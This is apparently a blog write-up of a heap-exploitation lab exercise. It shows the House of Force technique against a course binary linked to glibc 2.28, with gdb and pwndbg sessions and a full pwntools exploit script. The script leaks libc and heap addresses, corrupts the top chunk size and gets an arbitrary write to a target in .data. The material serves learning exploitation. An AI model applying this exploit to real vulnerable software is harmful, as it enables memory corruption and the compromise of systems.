Page cover

House of Force I

April 6th, 2023

Table of Contents

Prerequisites

This technique specifically, is just going to be covering an arbitrary write via the House of Force. To see an example of the House of Force resulting in command execution, check the blog post below:

Command execution via __malloc_hook

This article is not going to cover the heap, how it works, or the functions typically seen in it like malloc, realloc, free, etc. I've already made a super in-depth blog post about that which you can find here if you'd like:

Previous blog post on the heap

No Integrity Checks

Remember in the previous blog, how we set up a function like the following:

#include <stdlib.h>

int main(void) {
    void *p = malloc(1);
    return 0;
}

Then we set a breakpoint after the call to malloc and basically dissected the allocated chunk from the start of the heap, the chunk header, and user data, all the way to the top chunk.

Example from a different binary

Well it turns out that up until glibc v2.29, the top chunk, i.e., this part:

Top chunk

Was never prone to integrity checks. This means that up until GLIBC < 2.29, you could just supply any arbitrary value and overflow the heap. If we read the commit from the actual patch, which you can find here:

Commit for top chunk integrity check

We can see the general steps that this type of exploit takes in order to compromise the heap. In essence, we're just overflowing the top chunk with a gigantic value such that our next allocation overwrites our target. Let's see this in action!

Top Chunk Overflow

The binary I'm going to be using is called house_of_force and it was given to us after purchasing the "Linux Heap Exploitation - Part 1" course by the amazing Max Kamper.

Max Kamper's excellent course on Heap Exploitation

Let's start by examining the binary:

cr0w@blackbird: ~/documents/binexp/heap/house_of_force
ζ ›› checksec house_of_force
[*] '/home/cr0w/documents/binexp/heap/house_of_force/house_of_force'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'../.glibc/glibc_2.28_no-tcache'

Cool, and if we interact with it, we can see the following:

Starting the binary

The binary leaks the puts function and the start of the heap. As mentioned in the hint above, we're supposed to overwrite a target which we can see if we select option two (2):

Displaying the target

As we can see, the target is a series of 7 "X"s. So, let's move on and examine option one (1):

Allocating some memory with malloc() from the binary

After selecting option one (1) in the menu, we're given an input to specify the size for an allocation, this section is presumably doing something simple like the following (although since I haven't reversed this section or seen the source code, I don't really know):

void *p = malloc(size);

Next, we're asked to input some data which again, presumably just gets put into the user data section of the allocated heap chunk. That's all we can do for now, so let's attach this to gdb to:

  1. Verify if the malloc function is allocated our specified size of bytes.

  2. If the user data of the allocated heap chunk is being populated by our inputted data.

I'll open the binary inside of gdb and just run it:

Starting the binary inside of gdb

The first thing I'm going to do is quit the execution of the binary right now and verify if that heap address actually starts off at that address: 0x603000:

pwndbg> heap
Top chunk | PREV_INUSE
Addr: 0x603000
Size: 0x21001

Looks good! Okay, so let's restart with r, and do what we did outside of gdb, inside of gdb this time:

pwndbg> r
Starting program: /home/cr0w/documents/binexp/heap/house_of_force/house_of_force

===============
|   HeapLAB   |  House of Force
===============

puts() @ 0x7ffff786df10
heap @ 0x603000

1) malloc 0/4
2) target
3) quit
> 1
size: 24
data: here's sum data :)

Now, after pressing enter, we can ^C and examine the heap:

Stopping the program

So, like we've been doing for so long, let's inspect the heap chunks with vis_heap_chunks (vis):

Heap chunk allocated

Perfect. It's exactly as we were expecting. We requested 24 bytes which is the minimum amount of user data that can be allocated to us before the chunk gets incremented by 16 bytes from 0x20 to 0x30. Let's actually try to allocate a size of 25 bytes to see this mechanism at play once again (remember, if you have no idea what's going on right now or why it's 16 bytes, read my previous blog post):

pwndbg> c
Continuing.


1) malloc 1/4
2) target
3) quit
> 1
size: 25
data: sum more data here!

And now, if we inspect the heap, we can see it worked flawlessly:

Heap chunk of 0x31 gets allocated, as expected

Okay, so perfect. It worked as intended, now, let's try to see if we can find a bug or something in here. If you recall the no integrity checks section, GLIBC up until version 2.29 didn't have any size integrity checks for the top chunk. This means that we could allocate an arbitrary size with malloc and then write way more than that size is able to hold, effectively overwriting the top chunk as well. Well, first things first, how do we know that this is even a vulnerable version of glibc? If we use the vmmap command, we can see the following:

glibc version in use: 2.28

Indeed, It's using a vulnerable version of glibc! We also knew this from the checksec command we ran in the beginning:

glibc version from checksec

Anyway, let's try to overflow the top chunk now. We'll start by allocating some bytes and then writing more than what's allocated for us, I'll just use a message (0xdeadbeefcafebabe1337c0ded00d15ea5edbac0ff33db404f0dcafebabefacedfood):

Supplying 100 bytes to our 24 byte user data chunk

Now, if we inspect the heap, we should see that our top chunk has been overwritten:

Overwritten top chunk

Boom! We've overwritten the top chunk 😄 Now, let's figure out how we can turn this into something more dangerous like an arbitrary write.

Finding the Target

Hold on a second. Wait a minute! Hold your hor- okay, so where the hell is our target in memory exactly? Well, it's actually pretty easy to find out where our s are. If we run the program, the target's already there waiting to be overwritten so we can just query it using xinfo:

Target location

The last line shows that the target is written in the binary's .data section and furthermore, we can see that it's mapped to an address of 0x602010. We're expecting to see an address full of Xs (0x58 in hex) when we inspect it using dq or x/s or something:

Verified target location and value

Perfect. It's all going so well. Now, how the f*ck are we meant to overwrite our target when it's lower in memory than our goddamn top chunk is? What do I mean by this? Well, let's see the following (professionally designed) table of address values:

Memory Region

0x602010 --> target

0x603000 --> heap

If our target was at an address of something like 0x603010 or something, hell even if it was at an address of 0x700000, we could easily overwrite the target. However, it's not. The target is in a region of memory lower than the top chunk and it's not like we can go backwards, clawing at the walls of the regions of memory lower than the start of the heap at 0x603000 like a bunch of mud gophers or cave moles. ?

Wrap Around

It turns out, if we make the top chunk a big enough value, it'll just start wrapping around until it reaches the target and even more past that point. We'll get this set up in a couple of moments. First, let's get what we've done so far set in an exploit script using pwntools.

pwntools documentation
kaw.py
#!/usr/bin/env python3

from pwn import *

elf = context.binary = ELF("house_of_force", checksec=False)
libc = ELF(elf.runpath + b"/libc.so.6", checksec=False)
context.terminal = ['alacritty', '-e']

log.success("glibc 2.28 heap overwrite <<house of force>> (cr0w)")

env = {'LD_BIND_NOW': '1'}

gs = '''
continue
'''

def start():
    env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs, exe=elf.path, env=env, aslr=1)
    else:
        return process(elf.path, env=env, aslr=1)

def allocate(size, data):
    io.send(b"1") # select 1
    io.sendafter(b"size: ", f"{size}".encode())
    io.sendafter(b"data: ", data)
    io.recvuntil(b"> ") # reach > again for prompt

def diff(x, y):
    return (0xffffffffffffffff - x) + y

# print target
target = elf.sym.target
log.success("target (XXXXXXX) @ " + hex(target))

io = start()

# puts() leak
io.recvuntil(b"puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts
log.success("libc leaked!")

# heap leak
io.recvuntil(b"heap @ ")
heap = int(io.recvline(), 16)
log.success("heap leaked!")
io.recvuntil(b"> ")
io.timeout = 0.1

# begin overflow
log.info("requesting malloc(), size: 24 bytes, data: 'O' * 24 + 0xffffffffffffffff")
log.info("malloc(24, (O * 24 + 0xffffffffffffffff))")

# set the top chunk to 0xffffffffffffffff
allocate(24, b"O" * 24 + p64(0xffffffffffffffff)) 
log.success("top chunk set to: 0xffffffffffffffff")
log.info("the next allocation will now result in an overwrite!")
displacement = diff(heap + 0x20, elf.sym.target - 0x20)
allocate(displacement, b"A")
io.interactive()

I came up with this script which is just a Frankenstein's monster recreation of the original exploit template given to us. I did this from the ground up to better understand what the script was doing exactly and this was immensely beneficial because now I can try my best to explain it to you! We'll explain the script as we progress through it. Right now, we're trying to prove the fact that if we input a big enough value, in this case, the maximum value (0xffffffffffffffff), it'll wrap around to our target (and past it which we need to account for - which we'll see when the time comes). So, let's start the script with the GDB argument so that a gdb session starts simultaneously with our script, which is awesome for debugging:

New terminal opens with a gdb session

Okay, enough, let's figure out what this script is doing.

malloc wrapper

Here we're just creating a simple malloc wrapper function that'll enter the data for us whenever the program gives us this dialogue:

===============
|   HeapLAB   |  House of Force
===============

puts() @ 0x7f5006c6df10
heap @ 0xa9b000

1) malloc 0/4
2) target
3) quit
> 1
size: 24
data: this is tedious
Difference finder

This is a function that will return the difference in bytes so that we can figure out our offset to the target. Lastly, we get to this segment of code:

The actual overwrite

So, in this segment of the code, we get our malloc wrapper function to go through the regular procedure of requesting 24 bytes except in the "data" section of it, it will populate the entire user data with those "O"s you see. Hold on... that means the next bytes it sets will just be overwriting the top chunk. Yes, precisely! This is why we've included that 0xffffffffffffffff address right after the 24 O's, it's because that address will be overwriting the top chunk and it'll make the top chunk this impossibly large value. Furthermore, that address is the maximum value a hexadecimal address can actually be in 64-bit.

pwndbg> print /d 0xffffffffffffffff
$1 = -1

So, let's step through this program and see if it's set up in the appropriate manner before we exploit this program! If we ^C in the gdb instance, we get the all-to-familiar:

SIGINT signal interrupt reached, we can debug

At this point of the script's execution, the overflow should've already been done so now it's just a matter of checking the damage:

¡Dios mío!

😰 Well... that's quite a lot of bytes. Let's continue to the start and see what we stumble across there:

Beginning of the heap

Upon first glance, it just seems like "Oh, cool! The target is there" However, if you take a second to really understand where this target is, you'll see the elegance of this exploit. If you recall from the previous examples of allocating memory in the heap with malloc, you'll remember that the first part of the blue memory chunk is the heap chunk header. It includes the size field and some flags for metadata on it. Right after that though, is our user data and would you look at where our target is... The start of the user data section! This means that now if we use malloc to allocate any amount of bytes the first thing that'll get overwritten in the user data is going to be the target! It's set up perfectly to get overwritten. Let's do it.

Overwriting the Target

With the heap perfectly aligned and the target perfectly set up to get overwritten, let's continue the program inside of gdb with c so we can interact with our Python script again:

pwndbg> c
Continuing.
Back on the script, the target is still those X's

Now, let's use option one (1) and request any size we feel like, I'll stick with 24 bytes:

1) malloc 2/4
2) target
3) quit
> $ 1
size: $ 24
data: $

Now, in this data section, whatever we write here will get allocated to the user data area that the target currently occupies. Let's think of something clever:

Data that'll overwrite the target

After we press enter, we can go back into the debugger and ^C to inspect the chunk:

Target user data overwritten with ours

This looks extremely promising and for all intents and purposes, the target has been overwritten, let's do some sanity checks by proving this and printing out the value of the target before trying the same in the actual program to successfully call this a complete pwn.

Target symbol, holding our data
pwndbg> dq target
0000000000602010     6e696874656d6f73 726576656c632067
0000000000602020     0000000000000a21 000000000120eff9
0000000000602030     0000000000000000 0000000000000000
0000000000602040     0000000000000000 0000000000000000

Now, let's continue one last time to see if the target changes on the binary itself.

pwndbg> c
Continuing.
Target overwritten, f*ck yeah

Look at that! We did it! The target's been overwritten. We've completely pwned this binary using the House of Force! Next, we'll cover a case of actual code execution using malloc hooks in the House of Force!

References

Last updated

Was this helpful?